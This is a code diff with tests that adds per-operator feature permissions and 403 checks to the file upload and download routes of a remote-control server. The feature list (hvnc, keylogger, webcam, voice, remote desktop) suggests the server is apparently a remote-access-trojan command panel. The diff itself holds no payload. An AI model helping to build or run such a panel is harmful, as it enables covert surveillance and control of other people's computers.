||||
expect(res!.status).toBe(400);
|
||||
} finally {
|
||||
deleteUser(auth.userId);
|
||||
}
|
||||
});
|
||||
|
||||
test("unauthenticated request returns 401", async () => {
|
||||
const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x");
|
||||
const res = await handleAuthRoutes(
|
||||
new Request(url, { method: "GET" }),
|
||||
url,
|
||||
mockServer,
|
||||
);
|
||||
expect(res).not.toBeNull();
|
||||
expect(res!.status).toBe(401);
|
||||
});
|
||||
|
||||
test("clientId is optional — feature-only check works without clientId", async () => {
|
||||
const auth = await createTokenFor("operator");
|
||||
try {
|
||||
setUserFeaturePermission(auth.userId, "webcam", false);
|
||||
|
||||
const url = new URL("https://localhost/api/auth/feature-check?feature=webcam");
|
||||
const res = await handleAuthRoutes(
|
||||
new Request(url, {
|
||||
method: "GET",
|
||||
headers: { Authorization: `Bearer ${auth.token}` },
|
||||
}),
|
||||
url,
|
||||
mockServer,
|
||||
);
|
||||
const body = (await res!.json()) as any;
|
||||
expect(body.allowed).toBe(false);
|
||||
expect(body.denied).toEqual(["feature"]);
|
||||
} finally {
|
||||
deleteUser(auth.userId);
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -23,7 +23,7 @@ import {
|
||||
recordFailedAttempt,
|
||||
recordSuccessfulAttempt,
|
||||
} from "../../rateLimit";
|
||||
import { getUserById, canUserAccessClient, canUserAccessFeature, type FeatureName, ALL_FEATURES } from "../../users";
|
||||
import { getUserById, canUserAccessClient, canUserAccessFeature, getUserFeaturePermissions, type FeatureName, ALL_FEATURES } from "../../users";
|
||||
import { makeAuthCookie, makeAuthCookieClear } from "./auth-cookie";
|
||||
|
||||
type RequestIpProvider = {
|
||||
@@ -340,6 +340,7 @@ export async function handleAuthRoutes(
|
||||
}
|
||||
|
||||
const dbUser = getUserById(user.userId);
|
||||
const featurePermissions = getUserFeaturePermissions(user.userId);
|
||||
|
||||
return new Response(
|
||||
JSON.stringify({
|
||||
@@ -349,6 +350,7 @@ export async function handleAuthRoutes(
|
||||
mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false,
|
||||
canBuild: dbUser ? Boolean(dbUser.can_build) : false,
|
||||
telegramChatId: dbUser?.telegram_chat_id || "",
|
||||
featurePermissions,
|
||||
}),
|
||||
{
|
||||
headers: { "Content-Type": "application/json" },
|
||||
|
||||
@@ -4,7 +4,13 @@ import { join } from "path";
|
||||
import { tmpdir } from "os";
|
||||
import { generateToken } from "../../auth";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import { createUser, deleteUser, getUserById } from "../../users";
|
||||
import {
|
||||
createUser,
|
||||
deleteUser,
|
||||
getUserById,
|
||||
setUserClientAccessScope,
|
||||
setUserFeaturePermission,
|
||||
} from "../../users";
|
||||
import { handleFileDownloadRoutes } from "./file-download-routes";
|
||||
|
||||
const PASSWORD = "Aa1!RouteUploadTestPass123";
|
||||
@@ -249,3 +255,315 @@ describe("file upload route flow", () => {
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
async function createOperatorToken(opts: { fileBrowserAllowed: boolean; clientScope?: "none" | "all" } = { fileBrowserAllowed: true, clientScope: "all" }) {
|
||||
const username = `op_${Date.now().toString(36)}_${Math.floor(Math.random() * 1e6).toString(36)}`;
|
||||
const created = await createUser(username, PASSWORD, "operator", "test");
|
||||
expect(created.success).toBe(true);
|
||||
expect(typeof created.userId).toBe("number");
|
||||
|
||||
const userId = created.userId!;
|
||||
setUserClientAccessScope(userId, opts.clientScope ?? "all");
|
||||
setUserFeaturePermission(userId, "file_browser", opts.fileBrowserAllowed);
|
||||
|
||||
const user = getUserById(userId);
|
||||
expect(user).not.toBeNull();
|
||||
|
||||
const token = await generateToken(user!);
|
||||
return { userId, token };
|
||||
}
|
||||
|
||||
describe("file route feature_browser enforcement", () => {
|
||||
test("upload request returns 403 when file_browser is denied", async () => {
|
||||
const auth = await createOperatorToken({ fileBrowserAllowed: false });
|
||||
const clientId = `client-${Date.now().toString(36)}`;
|
||||
const dataDir = await createTempDataDir();
|
||||
const deps = makeRouteDeps(dataDir);
|
||||
|
||||
clientManager.addClient(clientId, {
|
||||
id: clientId,
|
||||
lastSeen: Date.now(),
|
||||
role: "client",
|
||||
ws: { send: () => {} },
|
||||
});
|
||||
|
||||
try {
|
||||
const requestUrl = new URL("https://localhost/api/file/upload/request");
|
||||
const res = await handleFileDownloadRoutes(
|
||||
new Request(requestUrl, {
|
||||
method: "POST",
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
Authorization: `Bearer ${auth.token}`,
|
||||
},
|
||||
body: JSON.stringify({
|
||||
clientId,
|
||||
path: "C:\\Games\\big.iso",
|
||||
fileName: "big.iso",
|
||||
}),
|
||||
}),
|
||||
requestUrl,
|
||||
mockServer,
|
||||
deps,
|
||||
);
|
||||
|
||||
expect(res).not.toBeNull();
|
||||
expect(res!.status).toBe(403);
|
||||
expect(await res!.text()).toContain("feature access denied");
|
||||
} finally {
|
||||
clientManager.deleteClient(clientId);
|
||||
deleteUser(auth.userId);
|
||||
await removeTempDataDir(dataDir);
|
||||
}
|
||||
});
|
||||
|
||||
test("download request returns 403 when file_browser is denied", async () => {
|
||||
const auth = await createOperatorToken({ fileBrowserAllowed: false });
|
||||
const clientId = `client-${Date.now().toString(36)}`;
|
||||
const dataDir = await createTempDataDir();
|
||||
const deps = makeRouteDeps(dataDir);
|
||||
|
||||
clientManager.addClient(clientId, {
|
||||
id: clientId,
|
||||
lastSeen: Date.now(),
|
||||
role: "client",
|
||||
ws: { send: () => {} },
|
||||
});
|
||||
|
||||
try {
|
||||
const requestUrl = new URL("https://localhost/api/file/download/request");
|
||||
const res = await handleFileDownloadRoutes(
|
||||
new Request(requestUrl, {
|
||||
method: "POST",
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
Authorization: `Bearer ${auth.token}`,
|
||||
},
|
||||
body: JSON.stringify({
|
||||
clientId,
|
||||
path: "C:\\secret\\data.bin",
|
||||
}),
|
||||
}),
|
||||
requestUrl,
|
||||
mockServer,
|
||||
deps,
|
||||
);
|
||||
|
||||
expect(res).not.toBeNull();
|
||||
expect(res!.status).toBe(403);
|
||||
expect(await res!.text()).toContain("feature access denied");
|
||||
} finally {
|
||||
clientManager.deleteClient(clientId);
|
||||
deleteUser(auth.userId);
|
||||
await removeTempDataDir(dataDir);
|
||||
}
|
||||
});
|
||||
|
||||
test("client_access check still beats feature check when client access is missing", async () => {
|
||||
// If both are denied, client access fires first — guards against misordered checks.
|
||||
const auth = await createOperatorToken({ fileBrowserAllowed: false, clientScope: "none" });
|
||||
const clientId = `client-${Date.now().toString(36)}`;
|
||||
const dataDir = await createTempDataDir();
|
||||
const deps = makeRouteDeps(dataDir);
|
||||
|
||||
clientManager.addClient(clientId, {
|
||||
id: clientId,
|
||||
lastSeen: Date.now(),
|
||||
role: "client",
|
||||
ws: { send: () => {} },
|
||||
});
|
||||
|
||||
try {
|
||||
const requestUrl = new URL("https://localhost/api/file/upload/request");
|
||||
const res = await handleFileDownloadRoutes(
|
||||
new Request(requestUrl, {
|
||||
method: "POST",
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
Authorization: `Bearer ${auth.token}`,
|
||||
},
|
||||
body: JSON.stringify({
|
||||
clientId,
|
||||
path: "C:\\Games\\big.iso",
|
||||
fileName: "big.iso",
|
||||
}),
|
||||
}),
|
||||
requestUrl,
|
||||
mockServer,
|
||||
deps,
|
||||
);
|
||||
|
||||
expect(res).not.toBeNull();
|
||||
expect(res!.status).toBe(403);
|
||||
expect(await res!.text()).toContain("client access denied");
|
||||
} finally {
|
||||
clientManager.deleteClient(clientId);
|
||||
deleteUser(auth.userId);
|
||||
await removeTempDataDir(dataDir);
|
||||
}
|
||||
});
|
||||
|
||||
test("upload stage PUT returns 403 when file_browser is revoked after intent creation", async () => {
|
||||
const auth = await createOperatorToken({ fileBrowserAllowed: true });
|
||||
const clientId = `client-${Date.now().toString(36)}`;
|
||||
const dataDir = await createTempDataDir();
|
||||
const deps = makeRouteDeps(dataDir);
|
||||
|
||||
clientManager.addClient(clientId, {
|
||||
id: clientId,
|
||||
lastSeen: Date.now(),
|
||||
role: "client",
|
||||
ws: { send: () => {} },
|
||||
});
|
||||
|
||||
try {
|
||||
const requestUrl = new URL("https://localhost/api/file/upload/request");
|
||||
const requestRes = await handleFileDownloadRoutes(
|
||||
new Request(requestUrl, {
|
||||
method: "POST",
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
Authorization: `Bearer ${auth.token}`,
|
||||
},
|
||||
body: JSON.stringify({
|
||||
clientId,
|
||||
path: "C:\\Games\\small.bin",
|
||||
fileName: "small.bin",
|
||||
}),
|
||||
}),
|
||||
requestUrl,
|
||||
mockServer,
|
||||
deps,
|
||||
);
|
||||
expect(requestRes!.status).toBe(200);
|
||||
const requestJson = (await requestRes!.json()) as any;
|
||||
|
||||
// Revoke after the intent has been created.
|
||||
setUserFeaturePermission(auth.userId, "file_browser", false);
|
||||
|
||||
const stageUrl = new URL(`https://localhost${requestJson.uploadUrl}`);
|
||||
const stageRes = await handleFileDownloadRoutes(
|
||||
new Request(stageUrl, {
|
||||
method: "PUT",
|
||||
headers: { Authorization: `Bearer ${auth.token}` },
|
||||
body: new TextEncoder().encode("hello"),
|
||||
}),
|
||||
stageUrl,
|
||||
mockServer,
|
||||
deps,
|
||||
);
|
||||
|
||||
expect(stageRes).not.toBeNull();
|
||||
expect(stageRes!.status).toBe(403);
|
||||
expect(await stageRes!.text()).toContain("feature access denied");
|
||||
} finally {
|
||||
clientManager.deleteClient(clientId);
|
||||
deleteUser(auth.userId);
|
||||
await removeTempDataDir(dataDir);
|
||||
}
|
||||
});
|
||||
|
||||
test("download serve returns 403 when file_browser is revoked after intent creation", async () => {
|
||||
const auth = await createOperatorToken({ fileBrowserAllowed: true });
|
||||
const clientId = `client-${Date.now().toString(36)}`;
|
||||
const dataDir = await createTempDataDir();
|
||||
const deps = makeRouteDeps(dataDir);
|
||||
|
||||
clientManager.addClient(clientId, {
|
||||
id: clientId,
|
||||
lastSeen: Date.now(),
|
||||
role: "client",
|
||||
ws: { send: () => {} },
|
||||
});
|
||||
|
||||
try {
|
||||
const requestUrl = new URL("https://localhost/api/file/download/request");
|
||||
const requestRes = await handleFileDownloadRoutes(
|
||||
new Request(requestUrl, {
|
||||
method: "POST",
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
Authorization: `Bearer ${auth.token}`,
|
||||
},
|
||||
body: JSON.stringify({
|
||||
clientId,
|
||||
path: "C:\\Games\\file.bin",
|
||||
}),
|
||||
}),
|
||||
requestUrl,
|
||||
mockServer,
|
||||
deps,
|
||||
);
|
||||
expect(requestRes!.status).toBe(200);
|
||||
const requestJson = (await requestRes!.json()) as any;
|
||||
expect(typeof requestJson.downloadUrl).toBe("string");
|
||||
|
||||
// Revoke after the intent has been created.
|
||||
setUserFeaturePermission(auth.userId, "file_browser", false);
|
||||
|
||||
const downloadUrl = new URL(`https://localhost${requestJson.downloadUrl}`);
|
||||
const downloadRes = await handleFileDownloadRoutes(
|
||||
new Request(downloadUrl, {
|
||||
method: "GET",
|
||||
headers: { Authorization: `Bearer ${auth.token}` },
|
||||
}),
|
||||
downloadUrl,
|
||||
mockServer,
|
||||
deps,
|
||||
);
|
||||
|
||||
expect(downloadRes).not.toBeNull();
|
||||
expect(downloadRes!.status).toBe(403);
|
||||
expect(await downloadRes!.text()).toContain("feature access denied");
|
||||
} finally {
|
||||
clientManager.deleteClient(clientId);
|
||||
deleteUser(auth.userId);
|
||||
await removeTempDataDir(dataDir);
|
||||
}
|
||||
});
|
||||
|
||||
test("upload request succeeds for operator with file_browser allowed (positive control)", async () => {
|
||||
const auth = await createOperatorToken({ fileBrowserAllowed: true });
|
||||
const clientId = `client-${Date.now().toString(36)}`;
|
||||
const dataDir = await createTempDataDir();
|
||||
const deps = makeRouteDeps(dataDir);
|
||||
|
||||
clientManager.addClient(clientId, {
|
||||
id: clientId,
|
||||
lastSeen: Date.now(),
|
||||
role: "client",
|
||||
ws: { send: () => {} },
|
||||
});
|
||||
|
||||
try {
|
||||
const requestUrl = new URL("https://localhost/api/file/upload/request");
|
||||
const res = await handleFileDownloadRoutes(
|
||||
new Request(requestUrl, {
|
||||
method: "POST",
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
Authorization: `Bearer ${auth.token}`,
|
||||
},
|
||||
body: JSON.stringify({
|
||||
clientId,
|
||||
path: "C:\\Games\\ok.bin",
|
||||
fileName: "ok.bin",
|
||||
}),
|
||||
}),
|
||||
requestUrl,
|
||||
mockServer,
|
||||
deps,
|
||||
);
|
||||
|
||||
expect(res).not.toBeNull();
|
||||
expect(res!.status).toBe(200);
|
||||
const body = (await res!.json()) as any;
|
||||
expect(body.ok).toBe(true);
|
||||
expect(typeof body.uploadUrl).toBe("string");
|
||||
} finally {
|
||||
clientManager.deleteClient(clientId);
|
||||
deleteUser(auth.userId);
|
||||
await removeTempDataDir(dataDir);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
@@ -8,7 +8,7 @@ import { logger } from "../../logger";
|
||||
import { encodeMessage } from "../../protocol";
|
||||
import { getConfig } from "../../config";
|
||||
import { isAuthorizedAgentRequest } from "../agent-auth";
|
||||
import { canUserAccessClient } from "../../users";
|
||||
import { canUserAccessClient, canUserAccessFeature } from "../../users";
|
||||
|
||||
type RequestIpProvider = {
|
||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||
@@ -160,6 +160,10 @@ async function serveDownloadById(
|
||||
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
||||
}
|
||||
|
||||
if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) {
|
||||
return new Response("Forbidden: feature access denied", { status: 403 });
|
||||
}
|
||||
|
||||
logger.debug("[filebrowser] http download request", {
|
||||
downloadId,
|
||||
userId: user.userId,
|
||||
@@ -363,6 +367,10 @@ export async function handleFileDownloadRoutes(
|
||||
return new Response("Forbidden: client access denied", { status: 403 });
|
||||
}
|
||||
|
||||
if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) {
|
||||
return new Response("Forbidden: feature access denied", { status: 403 });
|
||||
}
|
||||
|
||||
logger.debug("[filebrowser] http upload request", {
|
||||
userId: user.userId,
|
||||
clientId,
|
||||
@@ -408,6 +416,10 @@ export async function handleFileDownloadRoutes(
|
||||
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
||||
}
|
||||
|
||||
if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) {
|
||||
return new Response("Forbidden: feature access denied", { status: 403 });
|
||||
}
|
||||
|
||||
let uploadId = "";
|
||||
try {
|
||||
uploadId = decodeURIComponent(url.pathname.slice("/api/file/upload/".length));
|
||||
@@ -651,6 +663,10 @@ export async function handleFileDownloadRoutes(
|
||||
return new Response("Forbidden: client access denied", { status: 403 });
|
||||
}
|
||||
|
||||
if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) {
|
||||
return new Response("Forbidden: feature access denied", { status: 403 });
|
||||
}
|
||||
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
return new Response("Client offline", { status: 404 });
|
||||
|
||||
@@ -0,0 +1,249 @@
|
||||
import { describe, expect, test } from "bun:test";
|
||||
import {
|
||||
ALL_FEATURES,
|
||||
canUserAccessFeature,
|
||||
createUser,
|
||||
deleteUser,
|
||||
getUserByUsername,
|
||||
getUserFeaturePermissions,
|
||||
resetUserFeaturePermissions,
|
||||
setUserFeaturePermission,
|
||||
setUserFeaturePermissions,
|
||||
type FeatureName,
|
||||
} from "./users";
|
||||
|
||||
const createdUserIds: number[] = [];
|
||||
|
||||
async function createTempUser(role: "viewer" | "operator" | "admin") {
|
||||
const username = `fp_${role.slice(0, 3)}_${Date.now().toString(36)}${Math.floor(Math.random() * 1000).toString(36)}`;
|
||||
const result = await createUser(username, "Aa1!VeryLongTestPassword_2026", role, "test");
|
||||
expect(result.success).toBe(true);
|
||||
const user = getUserByUsername(username);
|
||||
expect(user).not.toBeNull();
|
||||
createdUserIds.push(user!.id);
|
||||
return user!;
|
||||
}
|
||||
|
||||
function cleanupCreatedUsers() {
|
||||
while (createdUserIds.length > 0) {
|
||||
const id = createdUserIds.pop();
|
||||
if (typeof id === "number") {
|
||||
deleteUser(id);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
describe("feature permissions", () => {
|
||||
test("ALL_FEATURES contains the expected feature keys", () => {
|
||||
expect(ALL_FEATURES).toEqual([
|
||||
"console",
|
||||
"remote_desktop",
|
||||
"hvnc",
|
||||
"webcam",
|
||||
"file_browser",
|
||||
"processes",
|
||||
"keylogger",
|
||||
"voice",
|
||||
]);
|
||||
});
|
||||
|
||||
test("admin always has every feature regardless of stored overrides", async () => {
|
||||
try {
|
||||
const admin = await createTempUser("admin");
|
||||
|
||||
for (const f of ALL_FEATURES) {
|
||||
expect(canUserAccessFeature(admin.id, admin.role, f)).toBe(true);
|
||||
}
|
||||
|
||||
// Even an explicit deny is ignored for admin role.
|
||||
setUserFeaturePermission(admin.id, "webcam", false);
|
||||
expect(canUserAccessFeature(admin.id, "admin", "webcam")).toBe(true);
|
||||
} finally {
|
||||
cleanupCreatedUsers();
|
||||
}
|
||||
});
|
||||
|
||||
test("viewer is denied every feature regardless of stored overrides", async () => {
|
||||
try {
|
||||
const viewer = await createTempUser("viewer");
|
||||
|
||||
for (const f of ALL_FEATURES) {
|
||||
expect(canUserAccessFeature(viewer.id, viewer.role, f)).toBe(false);
|
||||
}
|
||||
|
||||
// Granting access to a viewer at the per-feature level does not promote them.
|
||||
setUserFeaturePermission(viewer.id, "console", true);
|
||||
expect(canUserAccessFeature(viewer.id, "viewer", "console")).toBe(false);
|
||||
} finally {
|
||||
cleanupCreatedUsers();
|
||||
}
|
||||
});
|
||||
|
||||
test("operator defaults to having every feature enabled", async () => {
|
||||
try {
|
||||
const operator = await createTempUser("operator");
|
||||
|
||||
for (const f of ALL_FEATURES) {
|
||||
expect(canUserAccessFeature(operator.id, operator.role, f)).toBe(true);
|
||||
}
|
||||
} finally {
|
||||
cleanupCreatedUsers();
|
||||
}
|
||||
});
|
||||
|
||||
test("setUserFeaturePermission disables a single feature for an operator", async () => {
|
||||
try {
|
||||
const operator = await createTempUser("operator");
|
||||
|
||||
const result = setUserFeaturePermission(operator.id, "webcam", false);
|
||||
expect(result.success).toBe(true);
|
||||
|
||||
expect(canUserAccessFeature(operator.id, operator.role, "webcam")).toBe(false);
|
||||
// Other features remain enabled.
|
||||
expect(canUserAccessFeature(operator.id, operator.role, "console")).toBe(true);
|
||||
expect(canUserAccessFeature(operator.id, operator.role, "file_browser")).toBe(true);
|
||||
} finally {
|
||||
cleanupCreatedUsers();
|
||||
}
|
||||
});
|
||||
|
||||
test("setUserFeaturePermission can re-enable a previously denied feature", async () => {
|
||||
try {
|
||||
const operator = await createTempUser("operator");
|
||||
|
||||
setUserFeaturePermission(operator.id, "hvnc", false);
|
||||
expect(canUserAccessFeature(operator.id, operator.role, "hvnc")).toBe(false);
|
||||
|
||||
setUserFeaturePermission(operator.id, "hvnc", true);
|
||||
expect(canUserAccessFeature(operator.id, operator.role, "hvnc")).toBe(true);
|
||||
} finally {
|
||||
cleanupCreatedUsers();
|
||||
}
|
||||
});
|
||||
|
||||
test("setUserFeaturePermissions applies a bulk update", async () => {
|
||||
try {
|
||||
const operator = await createTempUser("operator");
|
||||
|
||||
const result = setUserFeaturePermissions(operator.id, {
|
||||
webcam: false,
|
||||
file_browser: false,
|
||||
keylogger: true,
|
||||
});
|
||||
expect(result.success).toBe(true);
|
||||
|
||||
expect(canUserAccessFeature(operator.id, operator.role, "webcam")).toBe(false);
|
||||
expect(canUserAccessFeature(operator.id, operator.role, "file_browser")).toBe(false);
|
||||
expect(canUserAccessFeature(operator.id, operator.role, "keylogger")).toBe(true);
|
||||
// Untouched features keep their default (allowed).
|
||||
expect(canUserAccessFeature(operator.id, operator.role, "console")).toBe(true);
|
||||
} finally {
|
||||
cleanupCreatedUsers();
|
||||
}
|
||||
});
|
||||
|
||||
test("setUserFeaturePermissions ignores unknown feature keys", async () => {
|
||||
try {
|
||||
const operator = await createTempUser("operator");
|
||||
|
||||
const result = setUserFeaturePermissions(operator.id, {
|
||||
webcam: false,
|
||||
// @ts-expect-error intentionally unknown feature key
|
||||
not_a_feature: true,
|
||||
});
|
||||
expect(result.success).toBe(true);
|
||||
|
||||
const perms = getUserFeaturePermissions(operator.id);
|
||||
expect(perms.webcam).toBe(false);
|
||||
// Unknown keys never get persisted.
|
||||
expect((perms as any).not_a_feature).toBeUndefined();
|
||||
} finally {
|
||||
cleanupCreatedUsers();
|
||||
}
|
||||
});
|
||||
|
||||
test("setUserFeaturePermission rejects invalid feature names", async () => {
|
||||
try {
|
||||
const operator = await createTempUser("operator");
|
||||
|
||||
const result = setUserFeaturePermission(
|
||||
operator.id,
|
||||
"not_a_feature" as FeatureName,
|
||||
false,
|
||||
);
|
||||
expect(result.success).toBe(false);
|
||||
expect(result.error).toContain("Invalid feature");
|
||||
} finally {
|
||||
cleanupCreatedUsers();
|
||||
}
|
||||
});
|
||||
|
||||
test("getUserFeaturePermissions returns role-derived values", async () => {
|
||||
try {
|
||||
const admin = await createTempUser("admin");
|
||||
const operator = await createTempUser("operator");
|
||||
const viewer = await createTempUser("viewer");
|
||||
|
||||
const adminPerms = getUserFeaturePermissions(admin.id);
|
||||
const operatorPerms = getUserFeaturePermissions(operator.id);
|
||||
const viewerPerms = getUserFeaturePermissions(viewer.id);
|
||||
|
||||
for (const f of ALL_FEATURES) {
|
||||
expect(adminPerms[f]).toBe(true);
|
||||
expect(operatorPerms[f]).toBe(true);
|
||||
expect(viewerPerms[f]).toBe(false);
|
||||
}
|
||||
|
||||
// After a deny, the operator's map reflects it.
|
||||
setUserFeaturePermission(operator.id, "processes", false);
|
||||
const updated = getUserFeaturePermissions(operator.id);
|
||||
expect(updated.processes).toBe(false);
|
||||
expect(updated.console).toBe(true);
|
||||
} finally {
|
||||
cleanupCreatedUsers();
|
||||
}
|
||||
});
|
||||
|
||||
test("resetUserFeaturePermissions restores defaults (all enabled for operator)", async () => {
|
||||
try {
|
||||
const operator = await createTempUser("operator");
|
||||
|
||||
setUserFeaturePermissions(operator.id, {
|
||||
webcam: false,
|
||||
file_browser: false,
|
||||
keylogger: false,
|
||||
});
|
||||
expect(canUserAccessFeature(operator.id, operator.role, "webcam")).toBe(false);
|
||||
|
||||
const result = resetUserFeaturePermissions(operator.id);
|
||||
expect(result.success).toBe(true);
|
||||
|
||||
for (const f of ALL_FEATURES) {
|
||||
expect(canUserAccessFeature(operator.id, operator.role, f)).toBe(true);
|
||||
}
|
||||
} finally {
|
||||
cleanupCreatedUsers();
|
||||
}
|
||||
});
|
||||
|
||||
test("getUserFeaturePermissions for a missing user returns all-false", () => {
|
||||
const perms = getUserFeaturePermissions(0);
|
||||
for (const f of ALL_FEATURES) {
|
||||
expect(perms[f]).toBe(false);
|
||||
}
|
||||
});
|
||||
|
||||
test("feature denials are scoped to the affected user", async () => {
|
||||
try {
|
||||
const a = await createTempUser("operator");
|
||||
const b = await createTempUser("operator");
|
||||
|
||||
setUserFeaturePermission(a.id, "webcam", false);
|
||||
|
||||
expect(canUserAccessFeature(a.id, a.role, "webcam")).toBe(false);
|
||||
expect(canUserAccessFeature(b.id, b.role, "webcam")).toBe(true);
|
||||
} finally {
|
||||
cleanupCreatedUsers();
|
||||
}
|
||||
});
|
||||
});
|
||||
Reference in New Issue
Block a user